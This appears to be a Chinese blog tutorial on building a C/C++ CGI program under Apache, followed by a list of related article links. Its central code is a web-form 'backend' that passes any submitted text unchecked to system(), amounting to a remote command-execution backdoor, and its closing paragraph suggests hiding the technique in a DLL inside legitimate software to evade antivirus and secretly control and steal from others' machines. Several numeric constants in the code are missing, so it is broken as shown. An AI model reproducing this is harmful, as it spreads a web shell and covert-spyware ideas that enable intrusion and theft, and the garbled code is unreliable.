c/c++----网站及其后门(CGI应用程序)
C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!
首先了解一下啥子叫CGI :CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。 ----来自百度百科
1. 首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!
(1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开!
-----------------------面对这种问题,下一个就好了! Apache server2.0 需要 IIS 配合。
(2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。 解决的方法有很多,但是个人比较喜欢这样来搞。
cmd --》 net -ano --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的 PID ,然后在进程管理哪儿关闭就好了!
上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个
然后修改一个,http.cof文件
找到俩个位置:
第一个位置: # AddHandler cgi-script .cgi 将这个语句的前面#注释符去掉
第二个位置:
<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None -----将这个位置替换为: Options Indexes ExecCGI
Order allow,deny
Allow from all
</Directory>
这两个位置配置好之后。就可以用C/C++编程了!
第一步:我们编写一个这样的文件
#include<stdio.h>
int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
printf("hello world ! 我是cgi ");
getchar();
return ;
}
编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi
然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下
在浏览器中,再输入,localhost/cgi-bin/hello.cgi 就可以看到这样的画面
2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢!
首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!
诺,看!
<html>
<head>
<title>后台</title>
</head> <body>
<h1> 后台界面</h1>
<form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI > 请输入命令cmd: <input type="text" name="textlist" /><br><br>
<input type="submit" /><br>
</form>
<hr>
<body>
</html>
这个界面的运行的效果,如下图:
当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个jsp放到哪个地儿啦!
最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
//#include<stdexcept>
#include<windows.h> //以调用System为举例
void func(char ps []) {
// ps 为cmd命令
char *pl = strchr(ps,'='); //pl指向当前的位置
if(pl!=NULL) ps = ps + (pl-ps+);
printf("命令cmd = %s\n", ps);
char cmd[] = {'\0'};
char filename[] = "Gxjun.txt"; //暂定放置于当前目录。
sprintf(cmd,"%s > %s ",ps,filename); //将ps的内容写入cmd中
//生成了一条指令
//无论是否执行成功,都会生成一个Gxjun.txt文件
FILE *fp = NULL;
int tag=system(cmd);
if (tag == ) {
printf("命令格式错误!,请重新输入: ");
goto loop;
}
if ((fp = fopen(filename, "r")) == NULL) {
printf("没有发现文件!");
goto loop ;
} while (!feof(fp)) {
char str=fgetc(fp);
if (str == '\n') printf("<br><br>\n\n");
else if (str == ' ')printf(" ");
else
printf("%c",str);
} loop:
if (fp != NULL){
fclose(fp);
//并删除备份的文件
system("del Gxjun.txt");
}
return ;
} int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
//打印环境变量
printf(" %s<br><br>", getenv("QUERY_STRING"));
char szPost[] = {'\0'};
gets(szPost); //获取输入
if ( strlen(szPost) < )
strcpy( szPost , "ipconfig" );
func(szPost);
getchar();
return ;
}
编译之后,形成hello.exe改成将.exe属性改为hello.cgi文件,放置到cgi-bin目录中,当然,如果有服务器,之间放到服务器中就可以看! 就像这样
3.打开浏览器,输入类似这样的如下图:
输入一个 tasklist之后,得到这样一个页面显示:
输入: ipconfig 之后得到的画面:
好了! 关于,网站后台的知识,大概就这么多了! 写的比较操蛋! 当然,还可以无限的加精! 这个,得看,你能花多少时间在这个上面了! 做的精华了,你就是一个Hacker!
当然,其实这个技术,不仅仅仅限于web这方面,可以适应任何软件,我们可以生成一个lib/dll文件,然后#progma(lib,"**.lib");这样的宏命令,嵌入到我们的软件中,利用这个存在的软件,作为幌子,可以暗暗的操控被人的系统的! 当然也可以再写一个dll文件,来执行相应的操作的!这样的话,就需要加入很多的随机元素,比如文件生成不能再是Gxjun,txt,而应该是随机的生成,路径随意的生成,,当然这些都是很容易实现的,这样很容易躲过360的钩子这个流氓软件! 然后对别人 的软件偷偷的窃取信息什么的!! 当然,有360把关最底层,你所做的行为不可能逃过它的的监控,唯一的方法就是花钱,让360放行,等等! 当然,我们还是可以通过下载者自己放行就可以了(虽然会被拦截)!
----------------以上都是依据本屌实际操作可行,以及学习得到的经历,分享出来,供大家参考,如果有误,欢迎,严厉带着苛刻的指正!谢谢!------------------
c/c++----网站及其后门(CGI应用程序)的更多相关文章
- Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”
Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...
- 菜鸟疑问之新建网站与新建web应用程序区别
学习asp.net一定少不了这困惑:新建网站与新建web应用程序有什么区别? 新建web应用程序 新建网站 呵呵,其实从名字看一个是webApplication,一个是webSite.名字不同罢了? ...
- 集成自动化的条形码功能到internet应用程序,网站或自定义Java应用程序的条码控件Java Barcode Package
Java Barcode Package控件是一款条码生成控件,包含所有的JavaBean,Applets,Servlets和类库可以使用于装有Java虚拟机的任何平台,包括Windows®, Lin ...
- ASP.NET网站与ASP.NET应用程序的区别
我们使用VS做ASP.NET的时候,可以选择新建ASP.NET应用程序,同时也可以新建ASP.NET网站,两者有什么具体区别呢?今天真是很幸运,比别人多上了老师一节课,讲的是这两者之间的一些区别.我学 ...
- 基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写
基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写 专业程序代写服务(QQ:928900200) 随着社会的进步.服务行业的服务水平不断发展与提高,宾馆.酒店.旅游等服务行业的信息量和工作 ...
- ubuntu chrome 无法从该网站添加应用,拓展程序或脚本
昨天装好ubuntu 18.04 lts版本后,下载了chrome( 版本 68.0.3440.106)和SwitchyOmega,本来计划离线安装,结果提示“无法添加来自此网站的应用.扩展程序和应用 ...
- 搭建简单的CGI应用程序
原文来源于<核心编程3>第10章web编程 一.静态文件+脚本文件 1.首先开启cgiweb服务器 python2 -m CGIHTTPServer 8000 看到如下反应 2.服务器目录 ...
- 【以前弄的老东西】DLLspy超犀利后门 (源代码+程序+使用手册+二次开发文档)
这个玩意儿是很久之前的整的.一直没有做完,但是基本功能和框架都做好了,现在发出来,希望有能力的家伙一起完成.DLLspy,绝对免杀,隐藏,HTTP请求劫持,居家旅行,杀人放火必备良药.有时间我会继续开 ...
- 来选择一款适合你网站的CMS建站程序吧
1:首页我们要搞清楚什么叫cms? ContentManagementSystem就是cms的全名,意思就是内容管理系统.cms整站系统是以文章系统为核心,增加用户需要的模块,如文章.图片.下载等,提 ...
随机推荐
- c++ socket 客户端库 socks5 客户端 RudeSocket™ Open Source C++ Socket Library
介绍 一个c++ socket 客户端库 http://www.rudeserver.com/socket/index.html The RudeSocket™ Open Source C++ Soc ...
- 【转载】教你分分钟学会用python爬虫框架Scrapy爬取心目中的女神
原文:教你分分钟学会用python爬虫框架Scrapy爬取心目中的女神 本博文将带领你从入门到精通爬虫框架Scrapy,最终具备爬取任何网页的数据的能力.本文以校花网为例进行爬取,校花网:http:/ ...
- Java获取音频文件(MP3)的播放时长
最近的一个项目需要按照时间播放mp3文件,例如,播放10分钟的不同音乐. 这就意味着我得事先知道mp3文件的播放时长,以决定播放几遍这个文件. 方案一:Java的方式 找第三方的库,真的感谢这些提供j ...
- Examples For When-Validate-Item trigger In Oracle Forms
The following example finds the commission plan in the COMMPLAN table, based on the current value of ...
- eclipse下添加viplugin插件的方法
http://www.viplugin.com/ 在eclipse根目录下建立文件:viplugin2.lic,然后在里面添加以下字符串: nd4UFjUMBADcUSeSW8ocLKoGP3lpbW ...
- Linux基础※※※※访问Windows共享文件夹
参考Linux公社链接:http://www.linuxidc.com/Linux/2014-06/103749.htm 实际上,可以直接用sambaclient程序访问共享资源. 列出共享主机的列表 ...
- React生命周期浅析
引言 关于React的生命周期API,官网,有着详细说明.但在实际写代码的过程中,这些说明不能解决所有的疑惑. 所以我列举了一些编码中常见用例,供大家参考. 示例代码如下 /* use case 1. ...
- SVN 的使用
文件夹上的符号有什么意义?? 黄色感叹号(有冲突):--这是有冲突了,冲突就是说你对某个文件进行了修改,别人也对这个文件进行了修改,别人抢在你提交之前先提交了,这时你再提交就会被提示发生冲突,而不允许 ...
- iOS - Swift available 平台判断
前言 Swift 语言中的 @available 和 #available,Swift 2.0 中,引入了可用性的概念.对于函数,类,协议等,可以使用 @available 声明这些类型的生命周期依赖 ...
- c++操作io常见命令
用c++练习下 系统常见io命令. 1)显示文档的文本 2)统计文本单词数字 3)列出目录所有文件 ,递归思路 4)查找第一个匹配的字符. 5)文本单词排序, 快速排序,其实还是递归思路 6)文本单词 ...